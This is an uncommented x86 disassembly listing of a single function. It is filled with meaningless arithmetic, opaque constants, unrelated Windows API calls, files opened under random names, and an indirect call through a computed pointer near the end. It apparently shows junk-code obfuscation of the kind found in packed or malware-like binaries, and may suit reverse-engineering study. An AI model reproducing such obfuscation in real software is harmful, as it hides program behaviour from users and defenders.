mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 4]
and ecx, dword [ebp - 0x160]
mov edx, dword [ebp - 0xb4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x88]
mov dword [ebp - 0x15c], ecx
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x84]
add eax, dword [edx]
mov ecx, dword [ebp - 0x124]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x5c]
add edx, dword [ecx]
cmp eax, edx
jle 0x4045ca
push 1
push 0
lea edx, [ebp - 0x88]
push edx
call dword [sym.imp.ole32.dll_CoLockObjectExternal]
mov dword [ebp - 0x13c], eax
movzx eax, word [0x413004]
movzx ecx, word [ebp - 0x80]
sub eax, ecx
mov edx, dword [0x436b80]
mov word [edx], ax
mov eax, dword [ebp - 0x14c]
movzx ecx, word [eax]
push ecx
movzx edx, byte [ebp - 0x51]
push edx
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0xac]
push edx
call fcn.004034b0
add esp, 0x10
mov dword [ebp - 0x154], 0xc48565b7
movzx eax, byte [ebp - 0x89]
mov ecx, dword [ebp - 0x74]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0xfd], al
lea eax, [ebp - 0x80]
mov dword [ebp - 0x118], eax
movsx ecx, word [ebp - 0x114]
mov edx, dword [ebp - 0x14c]
movsx eax, word [edx]
add ecx, eax
mov word [ebp - 0x14], cx
mov dword [ebp - 0x58], 0xd3
movzx ecx, byte [ebp - 0x175]
movzx edx, byte [ebp - 0x165]
sub ecx, edx
movzx eax, byte [ebp - 0x51]
mov edx, dword [ebp - 0x144]
movzx edx, byte [edx]
xor eax, edx
cmp ecx, eax
jle 0x404679
mov eax, dword [ebp - 0x4c]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x11d]
sar edx, cl
mov byte [ebp - 0xb9], dl
mov eax, dword [ebp - 0x16c]
or eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x128]
mov dword [ecx], eax
mov edx, dword [ebp - 0x14c]
movzx eax, word [edx]
push eax
mov ecx, dword [ebp - 0x4c]
movzx edx, byte [ecx]
push edx
movzx eax, word [0x413004]
push eax
call fcn.00403440
add esp, 0xc
movzx edx, word [ebp - 0x64]
mov eax, dword [ebp - 0x18]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x140]
movzx eax, word [ecx]
movzx ecx, word [ebp - 0x3c]
and eax, ecx
cmp edx, eax
jl 0x404de0
mov edx, dword [ebp - 0x5c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x160]
add edx, dword [ecx]
cmp eax, edx
je 0x4046e6
mov eax, dword [ebp - 0x170]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xac]
shr edx, cl
mov eax, dword [ebp - 0x108]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0xb4]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x174], eax
jmp 0x404dcc
mov ecx, dword [ebp - 0x128]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x108]
mov eax, dword [eax]
sub eax, dword [ecx]
cmp edx, eax
jne 0x404dcc
movzx edx, word [ebp - 0x64]
mov eax, dword [ebp - 0x118]
movzx ecx, word [eax]
shl edx, cl
movzx ecx, word [ebp - 0xb0]
mov eax, dword [ebp - 0x180]
movzx eax, word [eax]
or ecx, eax
cmp edx, ecx
je 0x40477f
movzx ecx, word [0x413004]
push ecx
mov edx, dword [ebp - 0x140]
movzx eax, word [edx]
push eax
mov ecx, dword [ebp - 0x14c]
mov dx, word [ecx]
mov eax, dword [ebp - 0x74]
mov cl, byte [eax]
call fcn.00404ec0
mov ecx, dword [ebp - 0x160]
sub ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x78], ecx
movzx edx, byte [ebp - 0xfd]
mov eax, dword [ebp - 0x74]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0xee], dl
jmp 0x404801
mov edx, dword [ebp - 0x18]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x80]
and eax, ecx
movzx edx, word [0x413004]
mov ecx, dword [ebp - 0x118]
movzx ecx, word [ecx]
add edx, ecx
cmp eax, edx
jne 0x404801
mov edx, dword [ebp - 0x140]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x80]
sub eax, ecx
mov edx, dword [ebp - 0x18]
mov word [edx], ax
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x124]
mov eax, dword [edx]
and eax, dword [ebp - 4]
mov dword [ebp - 0x174], eax
mov ecx, dword [ebp - 0x174]
mov dword [ebp - 0x134], ecx
mov edx, dword [ebp - 0xb4]
mov eax, dword [edx]
sub eax, dword [ebp - 0x84]
mov dword [0x435b8c], eax
mov ecx, dword [ebp - 0x124]
mov edx, dword [ebp - 4]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x5c]
mov dword [eax], edx
mov dword [ebp - 0x90], 0x8cbb8482
lea ecx, [ebp - 0x88]
mov dword [ebp - 0xa4], ecx
mov dl, byte [ebp - 0x11d]
mov byte [ebp - 0xed], dl
mov eax, dword [ebp - 0x14c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x14]
add ecx, edx
mov word [ebp - 0x164], cx
mov eax, dword [ebp - 0x90]
xor eax, 0x898e5b92
mov dword [ebp - 0x90], eax
movzx ecx, word [ebp - 0x64]
mov edx, dword [ebp - 0x18]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x80], cx
mov cl, byte [ebp - 0x175]
mov byte [ebp - 0xf5], cl
mov edx, dword [ebp - 0x128]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x170]
mov dword [ecx], eax
mov edx, dword [ebp - 0x128]
mov eax, dword [edx]
mov dword [ebp - 0x130], eax
lea ecx, [ebp - 0x88]
mov dword [0x436b90], ecx
mov edx, dword [ebp - 0x58]
cmp edx, dword [ebp - 0x90]
jae 0x404c73
movzx eax, byte [ebp - 0xf5]
movzx ecx, byte [ebp - 0x11e]
sar eax, cl
mov byte [ebp - 0xe5], al
mov ecx, dword [ebp - 0x140]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x3c]
xor edx, eax
mov word [ebp - 0x34], dx
mov ecx, dword [ebp - 0xb4]
mov edx, dword [ebp - 0x124]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0xb4]
mov dword [ecx], eax
push 0
push 0x10
push 0
push 0
push 1
push 0x40000000
push str.Ujsg0EfZVyWEi7r7zrGnP6RL
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x40], eax
mov edx, dword [ebp - 0xac]
and edx, dword [ebp - 0xa8]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x88]
sub eax, dword [ebp - 4]
mov dword [ebp - 0x174], eax
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x78]
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0x74]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x144]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x74]
mov byte [edx], cl
mov cl, byte [ebp - 0x154]
mov al, byte [ebp - 0x6d]
rol al, cl
mov byte [ebp - 0x6d], al
movzx ecx, word [ebp - 0x24]
mov edx, dword [ebp - 0x18]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0xb0], cx
mov ecx, dword [ebp - 0x38]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x5c]
add edx, dword [eax]
mov ecx, dword [0x436b90]
mov dword [ecx], edx
mov edx, dword [ebp - 0xa4]
mov eax, dword [edx]
and eax, dword [ebp - 0x84]
mov dword [ebp - 0x174], eax
movzx ecx, byte [ebp - 0x6d]
xor ecx, dword [ebp - 0x154]
mov byte [ebp - 0x6d], cl
mov edx, dword [ebp - 0x4c]
movsx eax, byte [edx]
movsx ecx, byte [0x413007]
sub eax, ecx
mov byte [ebp - 0xb9], al
movsx edx, word [ebp - 0x114]
mov eax, dword [ebp - 0x14c]
movsx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x14], dx
movzx edx, word [ebp - 0x64]
mov eax, dword [ebp - 0x118]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x34], dx
mov edx, dword [ebp - 0x74]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xf4]
movzx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x144]
mov byte [edx], al
mov eax, dword [ebp - 0x170]
mov ecx, dword [eax]
or ecx, dword [ebp - 0xb8]
mov dword [ebp - 0x16c], ecx
mov edx, dword [ebp - 4]
xor edx, dword [ebp - 0x174]
mov dword [ebp - 0x78], edx
mov eax, dword [ebp - 0x10]
mov cl, byte [ebp - 0x6d]
mov byte [eax], cl
mov edx, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
shl edx, cl
mov dword [ebp - 0x88], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EraseTape]
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x38]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [0x436b90]
mov dword [eax], edx
mov ecx, dword [ebp - 0xb4]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x124]
add edx, dword [eax]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], edx
mov edx, dword [ebp - 0x144]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xe5]
sub eax, ecx
mov edx, dword [ebp - 0xf4]
mov byte [edx], al
movzx eax, word [ebp - 0xb0]
movzx ecx, word [ebp - 0x34]
add eax, ecx
mov word [ebp - 0x3c], ax
mov edx, dword [ebp - 0x124]
mov eax, dword [ebp - 0x78]
add eax, dword [edx]
mov dword [ebp - 0x134], eax
mov ecx, dword [ebp - 0x128]
mov edx, dword [ebp - 0x108]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x134]
sub edx, dword [ecx]
mov dword [ebp - 0x84], edx
mov eax, dword [0x436b90]
mov ecx, dword [ebp - 0x88]
and ecx, dword [eax]
mov dword [ebp - 0x160], ecx
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x118]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x34]
add ecx, edx
mov eax, dword [ebp - 0x18]
mov word [eax], cx
mov ecx, dword [ebp - 0xf4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x144]
movzx ecx, byte [eax]
or edx, ecx
mov byte [0x436b88], dl
movsx edx, word [ebp - 0x14]
mov eax, dword [ebp - 0x14c]
movsx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x164], dx
mov edx, dword [ebp - 0x4c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xed]
sar eax, cl
mov byte [ebp - 0xb9], al
mov ecx, dword [ebp - 0x154]
imul ecx, ecx, 0x3279
mov dword [ebp - 0x154], ecx
mov edx, dword [ebp - 0x170]
mov eax, dword [ebp - 0x128]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x108]
mov dword [eax], edx
movzx ecx, word [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x150], ax
mov edx, dword [ebp - 0x154]
ror edx, 0x13
mov dword [ebp - 0x154], edx
mov eax, dword [ebp - 0xa4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x88]
mov dword [ebp - 0x160], ecx
mov edx, dword [ebp - 0x180]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x18]
movzx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x118]
mov word [ecx], ax
movzx edx, byte [ebp - 0x11e]
mov eax, dword [ebp - 0x74]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0xe5], dl
mov edx, dword [ebp - 0x128]
mov eax, dword [ebp - 0xac]
sub eax, dword [edx]
mov dword [ebp - 0xa8], eax
mov ecx, dword [ebp - 0xb4]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x134]
mov eax, dword [ebp - 0x5c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x124]
mov edx, dword [ebp - 0x38]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [0x435b8c], eax
mov ecx, dword [ebp - 0x58]
add ecx, 0x7b5d1
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x30]
add edx, dword [0x435b88]
mov dword [ebp - 0x16c], edx
mov eax, dword [ebp - 0x118]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x180]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x18]
mov word [edx], cx
movzx eax, byte [ebp - 0xfd]
movzx ecx, byte [ebp - 0x89]
add eax, ecx
mov byte [ebp - 0xee], al
mov edx, dword [ebp - 0xb4]
mov eax, dword [edx]
and eax, dword [ebp - 4]
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x124]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x160]
sar edx, cl
mov dword [ebp - 0x78], edx
jmp 0x404895
mov eax, dword [0x435b88]
or eax, dword [ebp - 0xac]
mov dword [ebp - 0xa8], eax
lea ecx, [ebp - 0xe4]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 4]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x15c], eax
lea ecx, [ebp - 0x15c]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x17c]
add edx, 0xad
mov dword [ebp - 0xa0], edx
lea eax, [ebp - 0xed]
mov dword [0x436b98], eax
movsx ecx, word [ebp - 0x14]
movsx edx, word [ebp - 0x164]
xor ecx, edx
mov word [ebp - 0x114], cx
mov eax, dword [ebp - 0x4c]
mov cl, byte [eax]
mov byte [ebp - 0x166], cl
movzx edx, word [ebp - 0x34]
mov eax, dword [ebp - 0x180]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0xb0], dx
mov edx, dword [ebp - 0x74]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x165]
sub eax, ecx
mov byte [ebp - 0xe5], al
mov edx, dword [ebp - 0x128]
mov eax, dword [edx]
mov dword [ebp - 0x158], eax
mov ecx, dword [ebp - 0xb4]
mov edx, dword [ecx]
and edx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x124]
mov dword [eax], edx
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x60], ecx
mov edx, dword [ebp - 0x144]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x89]
add eax, ecx
mov byte [ebp - 0xfd], al
mov edx, dword [ebp - 0x14c]
mov ax, word [edx]
mov word [0x436b8c], ax
mov ecx, dword [ebp - 0xac]
mov dword [ebp - 0x104], ecx
push 0
push 4
push 5
push 0
push 4
push 0xc0000000
push str.zzFb2SJTW6d_bcDtJkEOSmY
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xcc], eax
lea edx, [ebp - 0xa0]
push edx
call dword [ebp - 0x17c]
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x78]
mov edx, dword [ebp - 0x38]
mov dword [edx], ecx
mov eax, dword [ebp - 0x38]
mov ecx, dword [0x436b90]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x15c], edx
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax]
mov dword [ebp - 0x11c], ecx
mov edx, dword [ebp - 0x74]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x175]
add eax, ecx
mov byte [0x413006], al
mov edx, dword [ebp - 0x78]
add edx, dword [ebp - 4]
mov dword [ebp - 0x15c], edx
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
mov dword [ebp - 0xc], eax
movzx edx, word [0x413004]
mov eax, dword [ebp - 0x118]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x180]
mov word [eax], dx
movzx ecx, byte [ebp - 0xee]
mov edx, dword [ebp - 0x144]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0xe5], cl
movzx ecx, word [ebp - 0x80]
push ecx
call fcn.00404fc0
add esp, 4
movzx edx, word [ebp - 0x34]
mov eax, dword [ebp - 0x18]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x3c], dx
movzx ecx, byte [ebp - 0xe5]
push ecx
call fcn.00403470
add esp, 4
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x84]
and eax, dword [edx]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x88]
mov esp, ebp
pop ebp
ret